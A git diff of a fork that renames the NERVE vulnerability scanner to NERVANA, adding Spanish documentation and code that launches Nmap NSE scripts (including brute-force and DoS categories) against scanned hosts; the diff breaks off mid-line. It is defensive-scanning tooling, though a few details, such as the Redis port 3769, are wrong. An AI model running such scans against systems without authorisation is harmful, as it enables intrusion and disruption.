diff --git a/.gitignore b/.gitignore index fd6e31b..76082f8 100644 --- a/.gitignore +++ b/.gitignore @@ -4,5 +4,7 @@ dump.rdb .DS_Store reports/ **/reports/*.html -**/logs/nerve.log -tests/ \ No newline at end of file +**/logs/nervana.log +tests/ +.env +messages.pot diff --git a/Dockerfile b/Dockerfile index 45bbc32..d11b595 100644 --- a/Dockerfile +++ b/Dockerfile @@ -1,6 +1,6 @@ FROM centos:7 -ARG TARGET_FOLDER=/opt/nerve +ARG TARGET_FOLDER=/opt/nervana RUN yum install epel-release -y && \ yum update -y && \ @@ -16,7 +16,7 @@ RUN yum install epel-release -y && \ RUN wget https://nmap.org/dist/nmap-7.90-1.x86_64.rpm RUN rpm -ivh nmap-*.x86_64.rpm -RUN mkdir /opt/nerve +RUN mkdir /opt/nervana ADD bin $TARGET_FOLDER/bin ADD core $TARGET_FOLDER/core @@ -40,7 +40,7 @@ WORKDIR $TARGET_FOLDER/ RUN pip3 install --user -r requirements.txt RUN chmod 755 main.py RUN chmod 755 start.sh -ENTRYPOINT ["/opt/nerve/start.sh"] +ENTRYPOINT ["/opt/nervana/start.sh"] EXPOSE 8080/tcp diff --git a/README.es.md b/README.es.md new file mode 100644 index 0000000..2a3c710 --- /dev/null +++ b/README.es.md @@ -0,0 +1,224 @@ +# Network Exploitation, Reconnaissance & Vulnerability Apparatus with Nmap Additions (N.E.R.V.A.N.A) +[![en](https://img.shields.io/badge/lang-en-red.svg)](https://github.com/TomasTorresB/nervana/blob/master/README.md) +![Nervana](https://github.com/TomasTorresB/nervana/blob/master/static/screenshots/dashboard-es.png?raw=true) + +# Tabla de Contenidos +* [Seguridad Continua](#seguridad-continua) +* [Sobre Nervana](#) + * [Que es Nervana](#sobre-nervana) + * [Funcionalidades herramienta](#funcionalidades-herramienta) +* [Prerequisitos](#prerequisitos) +* [Instalación](#instalación) + * [Recomendaciones Despliegue de la Herramienta](#recomendaciones-despliegue-de-la-herramienta) + * [Instalación - Docker](#docker) + * [Instalación - Bare Metal](#instalación-server) + * [Instalación - Multi Nodo](#instalación-multi-nodo) + * [Visualización Remota](#visualización-de-interfaces-remotas) + * [Upgrade](#upgrade) +* [Seguridad](#seguridad) +* [Uso](#uso) +* [Licencia](#licencia) +* [Menciones](#menciones) +* [Screenshots](#screenshots) + +# Seguridad Continua +Nosotros creemos que la seguridad de escaneos debe ser realizada continuamente. No diaria, semanal, mensual o trimestral. + +Los beneficios de utilizar este método de escaneo son los siguientes: +* La existencia de un ambiente dinámico donde infraestructura es creada cada minuto / hora / etc. +* Es posible encontrar problemas antes que cualquier otra persona. +* Permite responder más rápidamente a incidentes. + +Nervana fue creada con esta problematica en mente. Las herramientas comerciales son buenas pero también pesadas, difíciles de extender y cuestan dinero. + +![Nervana](https://github.com/TomasTorresB/nervana/blob/master/static/screenshots/diagram-en.png?raw=true) + +# Sobre Nervana +Nervana es un escáner de vulnerabilidades diseñado para encontrar vulnerabilidades del estilo 'low-hanging-fruit' en configuraciones específicas de aplicaciones, redes y servicios sin parchear. + +A continuación se mencionan algunas de las capacidades de detección de Nervana: +* Paneles Interesantes(Solr, Django, PHPMyAdmin, etc.) +* Toma de control de Subdominios +* Repositorios Abiertos +* Divulgación de Información +* Páginas web por Defecto o Abandonadas. +* Servicios mal Configurados (Nginx, Apache, IIS, etc.) +* Servidores SSH +* Abrir Bases de Datos +* Abrir Caches +* Indexación de Directorios +* Mejores Praćticas + +# Funcionalidades herramienta +NERVANA ofrece las siguientes funcionalidades: +* Dashboard (Con interfaz de logeo) +* REST API (Para agendar escaneos, obtener resultados, etc) +* Notificaciones + * Slack + * Email + * Webhook +* Reportes + * TXT + * CSV + * HTML + * XML +* Escaneos personalizados + * Configurar niveles de intrusividad + * Profundidad del escaneo + * Exclusiones + * Basadas en DNS / IP + * Control de threads + * Puertos personalizados + * Modos de escaneo +* Gráficos de topología de la red +* Interfaz en Español e Inglés +* Opciones para agregar nuevos scripts (Ver guía) + +Además presenta una interfaz gráfica para facilitar el uso de la herramienta, pero el enfásis del trabajo se centra en la detección de vulnerabildidaes y nuevas firmas más que en la creación de una interfaz de usuario completa. + +# Prerequisitos +Nervana instalará todos los prerequisitos automaticamente al escoger la opción de instalación en el servidor(Testeado en Ubuntu 18.x)(al correr el script `install/setup.sh` ). El proyecto original también viene con un Dockerfile para su conviencia. + +Es importante mencionar que Nervana requiere de acceso *root* para la configuración inicial en la máquina(instalación de paquetes, etc). + +Servicios y Paquetes requeridos para que Nervana pueda correr: +* Servidor Web (Flask) +* Servidor Redis (local) +* Paquete Nmap (Binario y librería de Python llamda `python-nmap` ) +* Acceso a conexiones entrantes en el puerto HTTP/S (esto se puede definir en config.py) + +El *script* de instalación se encarga de todo, pero si se opta por una instalación manual es necesario considerar estos requerimientos. + +# Instalación +## Recomendaciones Despliegue de la Herramienta +La mejor forma de desplegar Nervana, es correr la herramienta contra la infraestructura que se quiere atacar desde múltiples regiones(e.g. múltiples instancias de Nervana en múltiples países) y configurar las herramientas en modo de escaneo continuo para encontrar vulnerabilidades de corta duracióin en ambientes dinámicos o cloud. + +No se recomienda dar privilegios especiales a las direcciones IP donde ataca Nervana, para realmente probar la infraestrcutura desde el punto de vista de un atacante. + +Para hacer Nervana bastante ligero, no se utilizan otras bases de datos además de Redis. + +Si se quieren almacenar las vulnerabilidades encontradas a largo plazo, se recomineda utiliza la funcionalidad *Webhook* al finalizar cada ciclo de escaneo. De este modo, Nervana enviará un JSON *payload* a un *endpoint* de elección, en donde se puede almacenar esta información en una base de datos para un analísis posterior. + +A continuación se mencionan los pasos de alto nivel que se recomiendan para obtener resultados óptimos: +1. Desplegar Nervana en 1 o más servidores +2. Crear un *script* que extraiga informacón de servicios Cloud(como WS Route53 para obtener el DNS, AWS ECi2 para obtener las direcciones IPs de la instancia, AWS RDS para obtener las bases de datos de IPs, etc.) +3. Llamar a la API de Nervana(`POST /api/scan/submit`) y agendar un escaneo utilizando los activos informáticos extraídos en el paso # 2. +4. Automatizar la obtención de resultados y actuar sobre ellos (SOAR, JIRA, SIEM, etc). +5. Agregar logica propia (excluir ciertas alertas, agregar a una base de datos, etc). + +## Docker +### Clonar el repositorio +`git clone git@github.com:TomasTorresB/nervana.git && cd nervana` + +### Construir la imagen de Docker +`docker build -t nervana .` + +### Crear un contenedor para la imagen +`docker run -e username="YOUR_USER" -e password="YOUR_PASSWORD" -d -p 80:8080 nervana` + +En el browser navegar a http://ip.add.re.ss:80 e iniciar sesión con las credenciales específicadas en el comando previo. + +## Instalación Server +### Navegar a /opt +`cd /opt/` + +### Clonar el repositorio +`git clone git@github.com:TomasTorresB/nervana.git && cd nervana` + +### Correr el instalador (requiere root) +`bash install/setup.sh` + +### Chequear que NERVANA corra +`systemctl status nervana` + +En el navegador web, visitar http://ip.add.re.ss:8080 y utilizar las credenciales imprimidas en el terminal. + + +## Instalación Multi Nodo +En el caso que se prefiera una instalación multi-nodo de la herramienta, se pueden seguir las intrucciones básicas de instlación y luego: +1. Modificar el archivo config.py en cada nodo +2. Cambiar el "server address" de Redis a `RDS_HOST` para que apunte a servidor central de Redis al que todas las instacias de Nervana reportarán. +3. Correr `service nervana restart` o `systemctl restart nervana` para recargar las configuraciones +4. Correr `apt-get remove redis` / `yum remove redis`(Dependiendo de la distribución de Linux) dado que no sera necesario una instancia para cada nodo. +No olvidar permitir al puerto 3769 recibir conexiones entrantes en la instancia de Redis, de modo que las instancias de Nervana puedan comunicarse con la base de datos. + +## Visualización de interfaces remotas +Para manejar remotamente la interfaces de la herramienta es necesario configurar un tunel que permita interactuar con las interfaces remotamente. La forma más simple de lograr esto es mediante una conexión SSH y un servidor *proxy* local conectado al navegador web de preferencia. A modo de ejemplo se listan los los pasos utilizando el navegador web firefox: +1. Establecer conexión SSH con la máquina en donde se aloja la herramienta y levantar servidor *proxy* local en puerto 8888: `ssh -D localhost:8888 usuario@nervanaIP` +2. Configurar firefox con el servidor *proxy*: Configuraciones Firefox -> Proxy -> Socks 5 host:localhost:8888 +3. Visualizar interfaz: http://IPMaquinaRemota:PuertoMaquinaRemota + + +## Upgrade +En el caso de querer mejorar la plataforma, lo más fácil es simplemente clonar nuevamente el repositorio nuevamente el repositorio y sobreescribir todos los archivos manteniendo los archivos claves como configuraciones. Los pasos se listan a continuación: +* Hacer una copia del archivo `config.py` en el caso de querer guardar las configuraciones. +* Borrar `/opt/nervana` y nuevamente hacer git clone. +* Mover el archivo `config.py`devuelta a `/opt/nervana`. +* Reanudar el servicio utilizando `systemctl restart nervana`. + +Se puede configurar un *cron task* para realizar mejorar automáticas de Nervana. Hay un API *endpoint* que permite checkear las últimas versiones disponibles que se puede utilizadar para estos propositos: `GET /api/update/platform` + +# Seguridad +Hay algunos mecanismos de seguridad implementados en Nervana que son importantes de considerar. + +* *Content Security Policy* - Corresponde a un encabezado de las respuestas que permite controlar desde donde los recursos de los escaneos son cargados. +* Otras Políticas de Seguridad - Estos encabezados de respuestas se encuentran habilitados: *Content-Type Options, X-XSS-Protection, X-Frame-Options, Referer-Policy*. +* Protección de Fuerza Bruta - Un usuario será bloqueado al fallar 5 intentos de inicio de sesión. +* Protección de *cookies* - *Flags* de seguridad de *cookies* son utilizadas, como SameSite, HttpOnly, etc. + +En el caso de identificar una vulnerabilidad en el escaneo, por favor informar el bug el GitHub. + +Se recomiendan los siguientes pasos antes y después de instalar la herramienta: +1. Setear una fuerte contraseña (una contraseña por defecto será configurada en el caso de seguir las intrucciones de instalación). +2. Proteger el panel de control de conexiones entrantes (Agregar la IP de manejo a la lista de direcciones permitidas del firewall local). +3. Agregar HTTPS (se puede parchar Flask directamente, o usar un *proxy* inverso como nginx). +4. Mantener la instancia con los parches al día. + +# Uso +Para aprender más sobre NERVANA(GUI,API, Agregar nuevos scripts, etc) se recomienda leer al documentación disponible vía la plataforma. Al desplegar la aplicación, autenticarse y luego en la barra lateral izquierda revisar la documentación. + +## Documentación GUI +![Nervana](https://github.com/TomasTorresB/nervana/blob/master/static/screenshots/doc_table-es.png?raw=true) + +![Nervana](https://github.com/TomasTorresB/nervana/blob/master/static/screenshots/auth-es.png?raw=true) + +## Documentación API +![Nervana](https://github.com/TomasTorresB/nervana/blob/master/static/screenshots/API_table-es.png?raw=true) + +## Documentación agregar nuevos scripts +![Nervana](https://github.com/TomasTorresB/nervana/blob/master/static/screenshots/add_scripts_1-es.png?raw=true) + +![Nervana](https://github.com/TomasTorresB/nervana/blob/master/static/screenshots/add_scripts_2-es.png?raw=true) + +# Licencia +Se distribuye bajo la Licencia MIT. Ver LICENSE para más información. + +# Menciones +:trophy: La herramienta base NERVE ha sido mencionada en varios lugares hasta ahora, a continuación se mencionan algunos links: +* Kitploit - https://www.kitploit.com/2020/09/nerve-network-exploitation.html +* Hakin9 - https://hakin9.org/nerve-network-exploitation-reconnaissance-vulnerability-engine/ +* PentestTools - https://pentesttools.net/nerve-network-exploitation-reconnaissance-vulnerability-engine/ +* SecnHack.in - https://secnhack.in/nerve-exploitation-reconnaissance-vulnerability-engine/ +* 100security.com - https://www.100security.com.br/nerve + +# Capturas de Pantalla +## Pantalla de Logeo +![Nervana](https://github.com/TomasTorresB/nervana/blob/master/static/screenshots/login-es.png?raw=true) +## Dashboard +![Nervana](https://github.com/TomasTorresB/nervana/blob/master/static/screenshots/dashboard-es.png?raw=true) +## Configuración Evaluación +![Nervana](https://github.com/TomasTorresB/nervana/blob/master/static/screenshots/assessment_configuration-es.png?raw=true) +## Documentación API +![Nervana](https://github.com/TomasTorresB/nervana/blob/master/static/screenshots/API-es.png?raw=true) +## Reportes +![Nervana](https://github.com/TomasTorresB/nervana/blob/master/static/screenshots/reports-es.png?raw=true) +## Mapa de la Red +![Nervana](https://github.com/TomasTorresB/nervana/blob/master/static/screenshots/topology-es.png?raw=true) +## Página de Vulnerabilidades +![Nervana](https://github.com/TomasTorresB/nervana/blob/master/static/screenshots/vulnerabilities-es.png?raw=true) +## Consola de Logeo +![Nervana](https://github.com/TomasTorresB/nervana/blob/master/static/screenshots/console-es.png?raw=true) +## Reporte HTML +![Nervana](https://github.com/TomasTorresB/nervana/blob/master/static/screenshots/HTML_report_1-es.png?raw=true) + +![Nervana](https://github.com/TomasTorresB/nervana/blob/master/static/screenshots/HTML_report_2-es.png?raw=true) diff --git a/README.md b/README.md index ca34cba..f9f1dd4 100644 --- a/README.md +++ b/README.md @@ -1,10 +1,11 @@ -# Network Exploitation, Reconnaissance & Vulnerability Engine (N.E.R.V.E) -![Nerve](https://github.com/PaytmLabs/nerve/blob/master/static/screenshots/2.png?raw=true) +# Network Exploitation, Reconnaissance & Vulnerability Apparatus with Nmap Additions (N.E.R.V.A.N.A) +[![es](https://img.shields.io/badge/lang-es-yellow.svg)](https://github.com/TomasTorresb/nervana/blob/master/README.es.md) +![Nervana](https://github.com/TomasTorresB/nervana/blob/master/static/screenshots/dashboard-en.png?raw=true) # Table of Contents * [Continuous Security](#Continuous-Security) -* [About NERVE](#) - * [What is NERVE](#about-Nerve) +* [About NERVANA](#) + * [What is NERVANA](#about-nervana) * [Features](#features) * [Prerequisites](#prerequisites) * [Installation](#installation) @@ -12,6 +13,7 @@ * [Installation - Docker](#docker) * [Installation - Bare Metal](#server) * [Installation - Multi Node](#Multi-Node-Installation) + * [Remote view of interfaces](#view-remote-interfaces) * [Upgrade](#upgrade) * [Security](#security) * [Usage](#usage) @@ -28,14 +30,14 @@ The benefit of running security scanning contiuously can be any of the following * You want to be the first to catch issues before anyone else * You want the ability to respond quicker. -NERVE was created to address this problem. Commercial tools are great, but they are also heavy, not easily extensible, and cost money. +NERVANA was created to address this problem. Commercial tools are great, but they are also heavy, not easily extensible, and cost money. -![Nerve](https://github.com/PaytmLabs/nerve/blob/master/static/screenshots/12.png?raw=true) +![Nervana](https://github.com/TomasTorresB/nervana/blob/master/static/screenshots/diagram-en.png?raw=true) -# About NERVE -NERVE is a vulnerability scanner tailored to find low-hanging fruit level vulnerabilities, in specific application configurations, network services, and unpatched services. +# About NERVANA +NERVANA is a vulnerability scanner tailored to find low-hanging fruit level vulnerabilities, in specific application configurations, network services, and unpatched services. -Example of some of NERVE's detection capabilities: +Example of some of NERVANA's detection capabilities: * Interesting Panels (Solr, Django, PHPMyAdmin, etc.) * Subdomain takeovers * Open Repositories @@ -51,7 +53,7 @@ Example of some of NERVE's detection capabilities: It is not a replacement for Qualys, Nessus, or OpenVAS. It does not do authenticated scans, and operates in black-box mode only. # Features -NERVE offers the following features: +NERVANA offers the following features: * Dashboard (With a Login interface) * REST API (Scheduling assessments, Obtaining results, etc) * Notifications @@ -70,16 +72,19 @@ NERVE offers the following features: * DNS / IP Based * Thread Control * Custom Ports + * Mode of scanning * Network Topology Graphs +* Interface in spanish and english +* Options for adding scripts (see guide) We put together the Graphical User Interface primarily for ease of use, but we will be putting more emphasis on detections and new signatures than creating a full blown user interface. # Prerequisites -NERVE will install all the prerequisites for you automatically if you choose the Server installation (CentOS 7.x and Ubuntu 18.x were tested) (by using `install/setup.sh` script). It also comes with a Dockerfile for your convenience. +NERVANA will install all the prerequisites for you automatically if you choose the Server installation (CentOS 7.x and Ubuntu 18.x were tested) (by using `install/setup.sh` script). It also comes with a Dockerfile for your convenience. -Keep in mind, NERVE requires root access for the initial setup on bare metal (package installation, etc). +Keep in mind, NERVANA requires root access for the initial setup on bare metal (package installation, etc). -Services and Packages required for NERVE to run: +Services and Packages required for NERVANA to run: * Web Server (Flask) * Redis server (binds locally) * Nmap package (binary and Python nmap library) @@ -89,69 +94,76 @@ The installation script takes care of everything for you, but if you want to ins # Installation ## Deployment Recommendation -The best way to deploy it, is to run it against your infrastructure from multiple regions (e.g. multiple instances of NERVE, in multiple countries), and toggle continuous mode so that you can catch short-lived vulnerabilities in dynamic environments/cloud. +The best way to deploy it, is to run it against your infrastructure from multiple regions (e.g. multiple instances of NERVANA, in multiple countries), and toggle continuous mode so that you can catch short-lived vulnerabilities in dynamic environments/cloud. -We typically recommend not to whitelist the IP addresses where NERVE will be initiating the scans from, to truly test your infrastructure from an attacker standpoint. +We typically recommend not to whitelist the IP addresses where NERVANA will be initiating the scans from, to truly test your infrastructure from an attacker standpoint. -To make NERVE fairly lightweight, there's no use of a database other than Redis. +To make NERVANA fairly lightweight, there's no use of a database other than Redis. -If you want to store your vulnerabilities long term, we recommend using the Web hook feature. At the end of each scan cycle, NERVE will dispatch a JSON payload to an endpoint of your choice, and you can then store it in a database for further analysis. +If you want to store your vulnerabilities long term, we recommend using the Web hook feature. At the end of each scan cycle, NERVANA will dispatch a JSON payload to an endpoint of your choice, and you can then store it in a database for further analysis. Here are the high level steps we recommend to get the most optimal results: -1. Deploy NERVE on 1 or more servers. +1. Deploy NERVANA on 1 or more servers. 2. Create a script that fetches your Cloud services (such as AWS Route53 to get the DNS, AWS EC2 to get the instance IPs, AWS RDS to get the database IPs, etc.) and maybe a static list of IP addresses if you have assets in a Datacenter. -3. Call NERVE API (`POST /api/scan/submit`) and schedule a scan using the assets you gathered in step #2. +3. Call NERVANA API (`POST /api/scan/submit`) and schedule a scan using the assets you gathered in step #2. 4. Fetch the results programmatically and act on them (SOAR, JIRA, SIEM, etc.) 5. Add your own logic (exclude certain alerts, add to database, etc.) ## Docker ### Clone the repository -`git clone git@github.com:PaytmLabs/nerve.git && cd nerve` +`git clone git@github.com:TomasTorresB/nervana.git && cd nervana` ### Build the Docker image -`docker build -t nerve .` +`docker build -t nervana .` ### Create a container from the image -`docker run -e username="YOUR_USER" -e password="YOUR_PASSWORD" -d -p 80:8080 nerve` +`docker run -e username="YOUR_USER" -e password="YOUR_PASSWORD" -d -p 80:8080 nervana` In your browser, navigate to http://ip.add.re.ss:80 and login with the credentials you specified to in the previous command. -# Server +## Server ### Navigate to /opt `cd /opt/` ### Clone the repository -`git clone git@github.com:PaytmLabs/nerve.git && cd nerve` +`git clone git@github.com:TomasTorresB/nervana.git && cd nervana` ### Run Installer (requires root) `bash install/setup.sh` -### Check NERVE is running -`systemctl status nerve` +### Check NERVANA is running +`systemctl status nervana` In your browser, navigate to http://ip.add.re.ss:8080 and use the credentials printed in your terminal. # Multi Node Installation -If you want to install NERVE in a multi-node deployment, you can follow the normal bare metal installation process, afterwards: +If you want to install NERVANA in a multi-node deployment, you can follow the normal bare metal installation process, afterwards: 1. Modify the config.py file on each node -2. Change the server address of Redis `RDS_HOST` to point to a central Redis server that all NERVE instances will report to. -3. Run `service nerve restart` or `systemctl restart nerve` to reload the configuration +2. Change the server address of Redis `RDS_HOST` to point to a central Redis server that all NERVANA instances will report to. +3. Run `service nervana restart` or `systemctl restart nervana` to reload the configuration 4. Run `apt-get remove redis` / `yum remove redis` (Depending on the Linux Distribution) since you will no longer need each instance to report to itself. -Don't forget to allow port 3769 inbound on the Redis instance, so that the NERVE instances can communicate with it. +Don't forget to allow port 3769 inbound on the Redis instance, so that the NERVANA instances can communicate with it. + +## View Remote Interfaces +In order to use the tool remotely a tunnel must be setup in order to allow interactions between remote and local machines. The easiest way to achieve this is to connect both machines through SSH and have a local proxy connected to your browser. An example using firefox is listed below: +1. Establish SSH connection between local and remote machines and setup a local proxy on port 8888: : `ssh -D localhost user@nervanaIP` +2. Connect firefox to local proxy: Firefox Config -> Proxy -> Socks 5 host:localhost:8888 +3. Visualiza interfaces: http://RemoteMachineIP:RemoteMachinePort + # Upgrade If you want to upgrade your platform, the fastest way is to simply git clone and overwrite all the files while keeping key files such as configurations. * Make a copy of `config.py` if you wish to save your configurations -* Remove `/opt/nerve` and git clone it again. -* Move `config.py` file back into `/opt/nerve` -* Restart the service using `systemctl restart nerve`. +* Remove `/opt/nervana` and git clone it again. +* Move `config.py` file back into `/opt/nervana` +* Restart the service using `systemctl restart nervana`. -You could set up a cron task to auto-upgrade NERVE. There's an API endpoint to check whether you have the latest version or not that you could use for this purpose: `GET /api/update/platform` +You could set up a cron task to auto-upgrade NERVANA. There's an API endpoint to check whether you have the latest version or not that you could use for this purpose: `GET /api/update/platform` # Security -There are a few security mechanisms implemented into NERVE you need to be aware of. +There are a few security mechanisms implemented into NERVANA you need to be aware of. * Content Security Policy - A response header which controls where resource scan be loaded from. * Other Security Policies - These Response headers are enabled: Content-Type Options, X-XSS-Protection, X-Frame-Options, Referer-Policy @@ -167,20 +179,26 @@ We recommend to take the following steps before and after installation 4. Keep the instance patched # Usage -To learn about NERVE (GUI, API, etc.) we advise you to check out the documentation available to you via the platform. +To learn about NERVANA (GUI, API, etc.) we advise you to check out the documentation available to you via the platform. Once you deploy it, authenticate and on the left sidebar you will find a documentation link for API and GUI usage. ## GUI Documentation -![Nerve](https://github.com/PaytmLabs/nerve/blob/master/static/screenshots/10.png?raw=true) +![Nervana](https://github.com/TomasTorresB/nervana/blob/master/static/screenshots/doc_table-en.png?raw=true) +![Nervana](https://github.com/TomasTorresB/nervana/blob/master/static/screenshots/auth-en.png?raw=true) ## API Documentation -![Nerve](https://github.com/PaytmLabs/nerve/blob/master/static/screenshots/11.png?raw=true) +![Nervana](https://github.com/TomasTorresB/nervana/blob/master/static/screenshots/API-en.png?raw=true) + +## Add new scripts documentation +![Nervana](https://github.com/TomasTorresB/nervana/blob/master/static/screenshots/add_scripts_1-en.png?raw=true) +![Nervana](https://github.com/TomasTorresB/nervana/blob/master/static/screenshots/add_scripts_2-en.png?raw=true) +![Nervana](https://github.com/TomasTorresB/nervana/blob/master/static/screenshots/add_scripts_3-en.png?raw=true) # License It is distributed under the MIT License. See LICENSE for more information. # Mentions -:trophy: NERVE has been mentioned in various places so far, here are a few links. +:trophy: The base tool NERVE has been mentioned in various places so far, here are a few links. * Kitploit - https://www.kitploit.com/2020/09/nerve-network-exploitation.html * Hakin9 - https://hakin9.org/nerve-network-exploitation-reconnaissance-vulnerability-engine/ * PentestTools - https://pentesttools.net/nerve-network-exploitation-reconnaissance-vulnerability-engine/ @@ -189,20 +207,22 @@ It is distributed under the MIT License. See LICENSE for more information. # Screenshots ## Login Screen -![Nerve](https://github.com/PaytmLabs/nerve/blob/master/static/screenshots/1.png?raw=true) +![Nervana](https://github.com/TomasTorresB/nervana/blob/master/static/screenshots/login-en.png?raw=true) ## Dashboard Screen -![Nerve](https://github.com/PaytmLabs/nerve/blob/master/static/screenshots/2.png?raw=true) +![Nervana](https://github.com/TomasTorresB/nervana/blob/master/static/screenshots/dashboard-en.png?raw=true) ## Assessment Configuration -![Nerve](https://github.com/PaytmLabs/nerve/blob/master/static/screenshots/3.png?raw=true) +![Nervana](https://github.com/TomasTorresB/nervana/blob/master/static/screenshots/assessment_configuration-en.png?raw=true) ## API Documentation -![Nerve](https://github.com/PaytmLabs/nerve/blob/master/static/screenshots/4.png?raw=true) +![Nervana](https://github.com/TomasTorresB/nervana/blob/master/static/screenshots/API-en.png?raw=true) ## Reporting -![Nerve](https://github.com/PaytmLabs/nerve/blob/master/static/screenshots/5.png?raw=true) +![Nervana](https://github.com/TomasTorresB/nervana/blob/master/static/screenshots/reports-en.png?raw=true) ## Network Map -![Nerve](https://github.com/PaytmLabs/nerve/blob/master/static/screenshots/6.png?raw=true) +![Nervana](https://github.com/TomasTorresB/nervana/blob/master/static/screenshots/topology-en.png?raw=true) ## Vulnerability page -![Nerve](https://github.com/PaytmLabs/nerve/blob/master/static/screenshots/7.png?raw=true) +![Nervana](https://github.com/TomasTorresB/nervana/blob/master/static/screenshots/vulnerabilities-en.png?raw=true) ## Log Console -![Nerve](https://github.com/PaytmLabs/nerve/blob/master/static/screenshots/8.png?raw=true) +![Nervana](https://github.com/TomasTorresB/nervana/blob/master/static/screenshots/console-en.png?raw=true) ## HTML Report -![Nerve](https://github.com/PaytmLabs/nerve/blob/master/static/screenshots/9.png?raw=true) +![Nervana](https://github.com/TomasTorresB/nervana/blob/master/static/screenshots/HTML_report_1-en.png?raw=true) + +![Nervana](https://github.com/TomasTorresB/nervana/blob/master/static/screenshots/HTML_report_2-en.png?raw=true) diff --git a/babel.cfg b/babel.cfg new file mode 100644 index 0000000..137f630 --- /dev/null +++ b/babel.cfg @@ -0,0 +1,14 @@ +[python: main.py] +[python: config.py] +[python: core/utils.py] +[python: core/parser.py] +[python: core/mailer.py] +[python: core/register.py] +[python: **/views/view_**.py] +[python: **/views_api/api_**.py] +[jinja2: **/templates/**.html] +extensions=jinja2.ext.autoescape,jinja2.ext.with_ +silent=false +[javascript: static/js/initiate-datatables.js] +encoding = utf-8 +extract_messages=_,gettext,ngettext diff --git a/bin/attacker.py b/bin/attacker.py index e8f5550..5e25a79 100644 --- a/bin/attacker.py +++ b/bin/attacker.py @@ -1,26 +1,42 @@ import time import threading +import config +import datetime -from core.manager import rule_manager -from core.parser import ConfParser -from core.logging import logger -from core.redis import rds +from core.manager import rule_manager +from core.parser import ConfParser +from core.logging import logger +from core.redis import rds +from core.nse_scripts import check_rule, get_metadata -def run_rules(conf): - data = rds.get_scan_data() +import os +import pip + +def run_python_rules(conf): + """ + Launch python rules according to config + + :param conf dict: Scan configuration variable. Used to know which rules to run. + """ + + data = rds.get_scan_data(False) exclusions = rds.get_exclusions() if not data: return for ip, values in data.items(): + """ + Get list of all rules classes. + """ rules = rule_manager(role='attacker') if 'ports' in values and len(values['ports']) > 0: for port in values['ports']: - logger.info('Attacking Asset: {} on port: {}'.format(ip, port)) + logger.info('Python scripts: Attacking Asset: {} on port: {}'.format(ip, port)) for rule in rules.values(): """ Check if the target is in exclusions list, if it is, skip. + Exclusion list can be accessed through api/exclusion api endpoint. More info on documentation view. """ if rule.rule in exclusions and ip in exclusions[rule.rule]: logger.debug('Skipping rule {} for target {}'.format(rule.rule, ip)) @@ -30,21 +46,117 @@ def run_rules(conf): Only run rules that are in the allowed_aggressive config level. """ if conf['config']['allow_aggressive'] >= rule.intensity: + """ + Start new thread with running rule script + """ thread = threading.Thread(target=rule.check_rule, args=(ip, port, values, conf)) thread.start() + +def run_nse_rules(conf): + """ + Launch NSE rules according to config + + :param conf dict: Scan configuration variable. Used to know which rules to run. + """ + + """ + Get scan data from Redis, True param is used to erase data from db. + """ + data = rds.get_scan_data(True) + exclusions = rds.get_exclusions() + + if not data: + return + + """ + Nmap doesn't support multiple scripts with different ports on one command. + Therefore multiple commands are ran in parallel for each port of each host. + For each host launch a new attack thread + + Launch attack for nse directory scripts + """ + for ip, values in data.items(): + if 'ports' in values and len(values['ports']) > 0: + logger.info('Running NSE directory scripts: Attacking Ports: {} of asset: {}'.format(values['ports'], ip)) + scripts_names_nse = os.listdir(config.NSE_SCRIPTS_PATH) + scripts_names = [x[:-4] for x in scripts_names_nse] + + for script in scripts_names: + """ + Check if the target is in exclusions list, if it is, skip. + Exclusion list can be accessed through api/exclusion api endpoint. More info on documentation view. + """ + if script in exclusions and ip in exclusions[script]: + logger.debug('Skipping rule {} for target {}'.format(script, ip)) + continue + + metadata = get_metadata(script, 'local') + no_error = not 'error' in metadata + adequate_aggressiveness = conf['config']['allow_aggressive'] >= metadata['intensity'] + adequate_bf_config = not (not conf['config']['allow_bf'] and 'brute' in metadata['categories']) + adequate_dos_config = not (not conf['config']['allow_dos'] and 'dos' in metadata['categories']) + adequate_outbound_config = not (not conf['config']['allow_internet'] and 'external' in metadata['categories']) + + if no_error and adequate_aggressiveness and adequate_bf_config and adequate_dos_config and adequate_outbound_config: + thread = threading.Thread(target=check_rule, args=(script, metadata, ip, values, conf, 'local'), name='nse_rule_{}'.format(script)) + thread.start() + elif 'error' in metadata: + logger.info("Error {} for script: {}".format(metadata['error'], script)) + + + """ + Launch attack for nmap scripts + """ + for ip, values in data.items(): + if 'ports' in values and len(values['ports']) > 0: + logger.info('Running Nmap NSE scripts: Attacking Ports: {} of asset: {}'.format(values['ports'], ip)) + for script in config.NMAP_SCRIPTS_IN_ASSESSMENT: + """ + Check if the target is in exclusions list, if it is, skip. + Exclusion list can be accessed through api/exclusion api endpoint. More info on documentation view. + """ + if script in exclusions and ip in exclusions[script]: + logger.debug('Skipping rule {} for target {}'.format(script, ip)) + continue + + metadata = get_metadata(script, 'nmap') + no_error = not 'error' in metadata + adequate_aggressiveness = conf['config']['allow_aggressive'] >= metadata['intensity'] + adequate_bf_config = not (not conf['config']['allow_bf'] and 'brute' in metadata['categories']) + adequate_dos_config = not (not conf['config']['allow_dos'] and 'dos' in metadata['categories']) + adequate_outbound_config = not (not conf['config']['allow_internet'] and 'external' in metadata['categories']) + + if no_error and adequate_aggressiveness and adequate_bf_config and adequate_dos_config and adequate_outbound_config: + thread = threading.Thread(target=check_rule, args=(script, metadata, ip, values, conf, 'nmap'), name='nse_rule_{}'.format(script)) + thread.start() + elif 'error' in metadata: + logger.info("Error {} for script: {}".format(metadata['error'], script)) + + def attacker(): + """ + Daemon, always running. Launches scans. + """ + count = 0 logger.info('Attacker process started') while True: - conf = rds.get_scan_config() + conf = rds.get_next_scan_config() if not conf: time.sleep(10) continue - run_rules(conf) + c = ConfParser(conf) + + if c.get_cfg_schedule() > datetime.datetime.now(): + time.sleep(10) + continue + + run_python_rules(conf) + run_nse_rules(conf) count += 1 if count == conf['config']['scan_opts']['parallel_attack']: @@ -54,4 +166,6 @@ def attacker(): if threading.active_count() > 50: logger.debug('Sleeping for 30 seconds to control threads (Threads: {})'.format(threading.active_count())) time.sleep(30) - \ No newline at end of file + + time.sleep(10) + continue diff --git a/bin/scanner.py b/bin/scanner.py index ff4a4c4..217045d 100644 --- a/bin/scanner.py +++ b/bin/scanner.py @@ -1,4 +1,5 @@ import time +import datetime from core.redis import rds from core.logging import logger @@ -11,22 +12,26 @@ def scanner(): logger.info('Scanner process started') while True: + # Si la sesion esta activa debería existir si o si una config? if not rds.is_session_active(): time.sleep(10) continue - conf = rds.get_scan_config() + conf = rds.get_next_scan_config() if not conf: time.sleep(10) continue - + c = ConfParser(conf) - hosts = 